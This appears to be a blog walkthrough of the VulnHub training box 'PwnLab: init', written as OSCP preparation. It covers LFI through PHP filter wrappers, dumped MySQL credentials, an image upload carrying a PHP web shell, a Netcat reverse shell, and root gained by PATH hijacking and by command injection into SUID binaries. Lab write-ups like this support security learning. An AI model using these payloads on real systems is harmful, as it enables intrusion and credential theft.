PwnLab: init Walkthrough (OSCP Prep)
Introduction
Resuming our OSCP Prep series, today we’ll walk through PwnLab: Init from VulnHub.
Host Discovery
First things first: we need to locate the target on our network. I’ll use Arp-scan:
(ori0n@apophis) --> [ ~/pwnlab ]
==> $ sudo arp-scan -l
[sudo] password for ori0n:
Interface: ens33, type: EN10MB, MAC: 00:0c:29:4c:9e:c7, IPv4: 10.0.10.10
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.10.2 00:50:56:ea:5f:11 VMware, Inc.
10.0.10.1 00:50:56:c0:00:08 VMware, Inc.
10.0.10.101 00:0c:29:94:46:a7 VMware, Inc.
10.0.10.199 00:50:56:eb:3e:b4 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.030 seconds (126.11 hosts/sec). 4 responded
We find the target at 10.0.10.101
. I’ll add an entry in our hosts file:
10.0.10.101 pwnlab
Scanning
Having found our target, we’ll run a port scan to locate attack vectors. RustScan is my tool of choice:
(ori0n@apophis) --> [ ~/pwnlab ]
==> $ rustscan -a pwnlab -- -sV -oA scans/nmap-version
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/home/ori0n/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.0.10.101:80
Open 10.0.10.101:111
Open 10.0.10.101:3306
Open 10.0.10.101:35618
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV -oA scans/nmap-version" on ip 10.0.10.101
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-25 18:05 CDT
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 18:05
Scanning 10.0.10.101 [2 ports]
Completed Ping Scan at 18:05, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 18:05
Scanning pwnlab (10.0.10.101) [4 ports]
Discovered open port 3306/tcp on 10.0.10.101
Discovered open port 111/tcp on 10.0.10.101
Discovered open port 80/tcp on 10.0.10.101
Discovered open port 35618/tcp on 10.0.10.101
Completed Connect Scan at 18:05, 0.00s elapsed (4 total ports)
Initiating Service scan at 18:05
Scanning 4 services on pwnlab (10.0.10.101)
Completed Service scan at 18:05, 11.02s elapsed (4 services on 1 host)
NSE: Script scanning 10.0.10.101.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 18:05
Completed NSE at 18:05, 0.05s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 18:05
Completed NSE at 18:05, 0.00s elapsed
Nmap scan report for pwnlab (10.0.10.101)
Host is up, received syn-ack (0.00034s latency).
Scanned at 2021-08-25 18:05:10 CDT for 11s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind syn-ack 2-4 (RPC #100000)
3306/tcp open mysql syn-ack MySQL 5.5.47-0+deb8u1
35618/tcp open status syn-ack 1 (RPC #100024)
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.67 seconds
The two main points of interest here are the web server and the MySQL server. Let’s begin by looking into port 80.
Enumerating the Web Server
Fire up a browser and head to http://pwnlab
. We find a simple image upload application:
The first thought here is that we may be able to upload a PHP shell to get our foothold on the system. Let’s check out the upload page:
So we need to be authenticated to upload anything. We know the server is running MySQL, so we next attempt SQL injection on the login form. Trying a few basic payloads doesn’t get us anywhere. sqlmap
finds no vulnerabilities even with the highest risk
and level
settings. It looks like SQL injection is a dead end.
Let’s see if we can discover any hidden files or directories. We’ll start with Gobuster to search for any interesting directories:
(ori0n@apophis) --> [ ~/pwnlab ]
==> $ gobuster dir -u http://pwnlab -w /usr/share/seclists/Discovery/Web-Content/big.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://pwnlab
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/08/25 18:34:14 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 290]
/.htpasswd (Status: 403) [Size: 290]
/images (Status: 301) [Size: 301] [--> http://pwnlab/images/]
/server-status (Status: 403) [Size: 294]
/upload (Status: 301) [Size: 301] [--> http://pwnlab/upload/]
===============================================================
2021/08/25 18:34:18 Finished
===============================================================
We get three false positives due to Apache’s configuration, but we do find images
and upload
directories. Browsing to them reveals directory listings are enabled on the server, but the uploads directory is empty and the images directory contains only the logo. Next, we’ll try to fuzz filenames with ffuf. I’ll first filter out of the wordlist any lines beginning with .ht
to avoid those annoying false positives.
(ori0n@apophis) --> [ ~/pwnlab ]
==> $ sed '/^\.ht/d' /usr/share/seclists/Discovery/Web-Content/big.txt > big.txt
(ori0n@apophis) --> [ ~/pwnlab ]
==> $ ffuf -u http://pwnlab/BASE.EXT -w big.txt:BASE -w /usr/share/seclists/Fuzzing/extensions-most-common.fuzz.txt:EXT
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://pwnlab/BASE.EXT
:: Wordlist : BASE: big.txt
:: Wordlist : EXT: /usr/share/seclists/Fuzzing/extensions-most-common.fuzz.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 2ms]
* BASE: config
* EXT: php
[Status: 200, Size: 332, Words: 28, Lines: 12, Duration: 5ms]
* BASE: index
* EXT: php
[Status: 200, Size: 250, Words: 16, Lines: 6, Duration: 86ms]
* BASE: login
* EXT: php
[Status: 200, Size: 19, Words: 5, Lines: 1, Duration: 1ms]
* EXT: php
* BASE: upload
:: Progress: [614190/614190] :: Job [1/1] :: 8251 req/sec :: Duration: [0:00:42] :: Errors: 0 ::
Interesting. We find two PHP files whose base names are identical to the values of the page
parameter in the application. If we navigate to these PHP pages directly, it appears they correspond directly to the page
parameters:
This is a an indication that the app may be vulnerable to file inclusion.
Foothold: Exploiting LFI
A few attempts at basic LFI exploitation get nowhere. We can’t seem to access assumed system files such as /etc/passwd
. This is likely due to the application appending .php
to the page
parameter value. Null byte injection might have worked on an older PHP installation, but in this case it is unsuccessful.
So what are our options? Having a look at HackTricks, we notice a section on PHP wrappers. Specifically, the php://filter
wrapper.
Let’s try the convert.base64-encode
filter to dump the encoded source of the PHP files. Keep in mind the .php
extension will be appended by the application.
So we navigate to http://pwnlab/?page=php://filter/convert.base64-encode/resource=index
. Sure enough, we get a long base64-encoded string. Copy the string and decode it from a terminal with base64 -d
:
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>
Bingo! Notice the cookie check at the top of the page. If we set a cookie named lang
, the application will attempts to include a file named by the cookie value from the lang
directory . So let’s add a lang
cookie with a filesystem path using the browser’s built-in developer tools and reload the page.
So now we have a pure LFI, but how do we write PHP to the server so we can include it? Let’s revisit the php://filter
technique to dump config.php
: http://pwnlab/?page=php://filter/convert.base64-encode/resource=config
.
Decode the string as before to get some MySQL credentials:
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
Recall from the initial port scan we saw a MySQL service running on the system. Let’s try to log in remotely and see what we can find:
(ori0n@apophis) --> [ ~/pwnlab ]
==> $ mysql -h pwnlab -u root --password=H4u%QJ_H99 Users
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 74
Server version: 5.5.47-0+deb8u1 (Debian)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users |
+-----------------+
1 row in set (0.001 sec)
MySQL [Users]> select * from users;
+------+------------------+
| user | pass |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.001 sec)
It looks like the passwords are base64-encoded. Decode them to get plain-text credentials:
kent:JWzXuBJJNy
mike:SIfdsTEn6I
kane:iSv5Ym2GRo
We can now log in successfully:
Simply attempting to upload a PHP file will result in an error, so let’s try uploading a malicious image instead. I’ll download the ‘PWNLAB’ logo. Then launch Burp Suite and make sure Intercept is on. Then click Choose File
, select your PNG image, and click Upload
. Burp will intercept the request.
What we need to do is modify the data of the uploaded image while leaving the PNG header intact. Delete everything beginning at IHDR
and ending with the line just above the WebKitFormBoundary
line. Then replace it with a simple PHP shell:
<?php passthru($_GET['c']) ?>
Turn Intercept off to send the request. You should notice a broken image link now on the web page. Copy the address of the “image”; we’ll use it in our lang
cookie. Now if we navigate to http://pwnlab/?c=hostname;id;pwd;ls
and view source, we have a verified working shell:
�PNG
pwnlab
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html
config.php
images
index.php
login.php
upload
upload.php
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
Use this server to upload and share image files inside the intranet</center>
</body>
</html>
Let’s look for Netcat (2>&1 nc -h
: view-source:http://pwnlab/?c=2%3E%261%20nc%20-h
):
[v1.10-41]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-k set keepalive option on socket
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-T tos set Type Of Service
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-C Send CRLF as line-ending
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
Boom. We have Netcat AND it allows us to use the -e
option. Let’s set up a listener and send back a shell.
(ori0n@apophis) --> [ ~/pwnlab ]
==> $ ncat -nlkvp 1984
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1984
Ncat: Listening on 0.0.0.0:1984
Ncat: Connection from 10.0.10.101.
Ncat: Connection from 10.0.10.101:34201.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
And we’re in!
Privesc
We’ll upgrade our shell first to make our lives a bit easier. There are a few tricks to do this, but here’s a simple solution:
- Make sure your listener was launched from a Bash shell (this has issues with ZSH)
- From your reverse shell, run
script -qc /bin/bash /dev/null
- Hit Ctrl-Z to force the shell into the background
- From your local shell, run
stty raw -echo
- Type
fg
and hit return (you will not see your input) - Type
reset
and press enter - If prompted for a terminal type, type
xterm-256color
and press enter - Run
export TERM=xterm-256color
You should now have a full TTY shell.
Using this upgraded shell, we can begin enumerating the system. Let’s look for local users:
www-data@pwnlab:/var/www/html$ tail /etc/passwd
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
Debian-exim:x:104:109::/var/spool/exim4:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
statd:x:106:65534::/var/lib/nfs:/bin/false
john:x:1000:1000:,,,:/home/john:/bin/bash
kent:x:1001:1001:,,,:/home/kent:/bin/bash
mike:x:1002:1002:,,,:/home/mike:/bin/bash
kane:x:1003:1003:,,,:/home/kane:/bin/bash
mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false
Recall we had web logins for kent
, mike
and kane
. Let’s see if their passwords work on the system.
It appears the passwords work for both kent
and kane
, but not for mike
. Additionally, kane
has an interesting SUID binary in his home directory which runs as user mike
.
www-data@pwnlab:/var/www/html$ su kane
Password:
kane@pwnlab:/var/www/html$ cd
kane@pwnlab:~$ ls -al
total 32
drwxr-x--- 2 kane kane 4096 Aug 28 21:08 .
drwxr-xr-x 6 root root 4096 Mar 17 2016 ..
-rw------- 1 kane kane 15 Aug 28 21:08 .bash_history
-rw-r--r-- 1 kane kane 220 Mar 17 2016 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17 2016 .bashrc
-rwsr-sr-x 1 mike mike 5148 Mar 17 2016 msgmike
-rw-r--r-- 1 kane kane 675 Mar 17 2016 .profile
Let’s check out this program:
kane@pwnlab:~$ ./msgmike
cat: /home/mike/msg.txt: No such file or directory
So it appears to call cat
, but it is not using an absolute path. If we can create our own cat
file with custom commands and insert its directory at the beginning of our $PATH
, we may be able to grab a shell as mike
.
kane@pwnlab:~$ echo bash -p>cat
kane@pwnlab:~$ chmod 777 cat
kane@pwnlab:~$ PATH=.:$PATH ./msgmike
mike@pwnlab:~$ id
uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)
Bingo! So what does Mike have to offer us?
mike@pwnlab:/home/mike$ ls -al
total 28
drwxr-x--- 2 mike mike 4096 Mar 17 2016 .
drwxr-xr-x 6 root root 4096 Mar 17 2016 ..
-rw-r--r-- 1 mike mike 220 Mar 17 2016 .bash_logout
-rw-r--r-- 1 mike mike 3515 Mar 17 2016 .bashrc
-rwsr-sr-x 1 root root 5364 Mar 17 2016 msg2root
-rw-r--r-- 1 mike mike 675 Mar 17 2016 .profile
Another SUID binary, but this time running as root
!
mike@pwnlab:/home/mike$ ./msg2root
Message for root: letmein!
letmein!
Hmmmm. It’s not as clear here what the binary is actually doing. We’ll have to dig a bit deeper.
Let’s disassemble it with objdump
: objdump -D -Mintel msg2root | less
Now locate the main
function:
080484ab <main>:
80484ab: 8d 4c 24 04 lea ecx,[esp+0x4]
80484af: 83 e4 f0 and esp,0xfffffff0
80484b2: ff 71 fc push DWORD PTR [ecx-0x4]
80484b5: 55 push ebp
80484b6: 89 e5 mov ebp,esp
80484b8: 51 push ecx
80484b9: 83 ec 74 sub esp,0x74
80484bc: 83 ec 0c sub esp,0xc
80484bf: 68 b0 85 04 08 push 0x80485b0
80484c4: e8 87 fe ff ff call 8048350 <printf@plt>
80484c9: 83 c4 10 add esp,0x10
80484cc: a1 f4 97 04 08 mov eax,ds:0x80497f4
80484d1: 83 ec 04 sub esp,0x4
80484d4: 50 push eax
80484d5: 6a 64 push 0x64
80484d7: 8d 45 90 lea eax,[ebp-0x70]
80484da: 50 push eax
80484db: e8 80 fe ff ff call 8048360 <fgets@plt>
80484e0: 83 c4 10 add esp,0x10
80484e3: 83 ec 04 sub esp,0x4
80484e6: 8d 45 90 lea eax,[ebp-0x70]
80484e9: 50 push eax
80484ea: 68 c4 85 04 08 push 0x80485c4
80484ef: 8d 45 f4 lea eax,[ebp-0xc]
80484f2: 50 push eax
80484f3: e8 a8 fe ff ff call 80483a0 <asprintf@plt>
80484f8: 83 c4 10 add esp,0x10
80484fb: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc]
80484fe: 83 ec 0c sub esp,0xc
8048501: 50 push eax
8048502: e8 69 fe ff ff call 8048370 <system@plt>
8048507: 83 c4 10 add esp,0x10
804850a: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4]
804850d: c9 leave
804850e: 8d 61 fc lea esp,[ecx-0x4]
8048511: c3 ret
We can also dump the read-only data to get a better idea which strings are being used where:
mike@pwnlab:/home/mike$ objdump -s -j .rodata msg2root
msg2root: file format elf32-i386
Contents of section .rodata:
80485a8 03000000 01000200 4d657373 61676520 ........Message
80485b8 666f7220 726f6f74 3a200000 2f62696e for root: ../bin
80485c8 2f656368 6f202573 203e3e20 2f726f6f /echo %s >> /roo
80485d8 742f6d65 73736167 65732e74 787400 t/messages.txt.
A quick analysis suggests the program is doing the following:
- Print a string (
printf
) - Get a string from the user and store it on the stack at
[ebp-0x70]
(fgets
) - Insert the input string into a format string at
0x80485c4
and store the result string at[ebp-0xc]
(asprintf
) 0x80485c4
:/bin/echo %s >> /root/messages.txt
- Call the string resulting from the
asprintf
call (system
) (!!)
So in other words, it calls /bin/echo <OUR INPUT> >> /root/messages.txt
. So what happens if we inject a custom command?
mike@pwnlab:/home/mike$ ./msg2root
Message for root: blah; bash -p; #
blah
bash-4.3# id
uid=1002(mike) gid=1002(mike) euid=0(root) egid=0(root) groups=0(root),1003(kane)
Rooted! Now let’s just grab the flag:
bash-4.3# cd /root
bash-4.3# ls
flag.txt messages.txt
bash-4.3# cat flag.txt
.-=~=-. .-=~=-.
(__ _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__ _)
(_ ___) _____ _ (_ ___)
(__ _) / __ \ | | (__ _)
( _ __) | / \/ ___ _ __ __ _ _ __ __ _| |_ ___ ( _ __)
(__ _) | | / _ \| '_ \ / _` | '__/ _` | __/ __| (__ _)
(_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \ (_ ___)
(__ _) \____/\___/|_| |_|\__, |_| \__,_|\__|___/ (__ _)
( _ __) __/ | ( _ __)
(__ _) |___/ (__ _)
(__ _) (__ _)
(_ ___) If you are reading this, means that you have break 'init' (_ ___)
( _ __) Pwnlab. I hope you enjoyed and thanks for your time doing ( _ __)
(__ _) this challenge. (__ _)
(_ ___) (_ ___)
( _ __) Please send me your feedback or your writeup, I will love ( _ __)
(__ _) reading it (__ _)
(__ _) (__ _)
(__ _) For sniferl4bs.com (__ _)
( _ __) claor@PwnLab.net - @Chronicoder ( _ __)
(__ _) (__ _)
(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
`-._.-' `-._.-'
Final Thoughts
PwnLab Init was an interesting box that proved to be a bit challenging while gaining an initial foothold. While the first potential file inclusion bug was obvious, it required a good amount of research to find the PHP wrapper trick which eventually led to exploitation.
Further, the reverse engineering required for privilege escalation was an unexpected but welcome touch.
Leave a Reply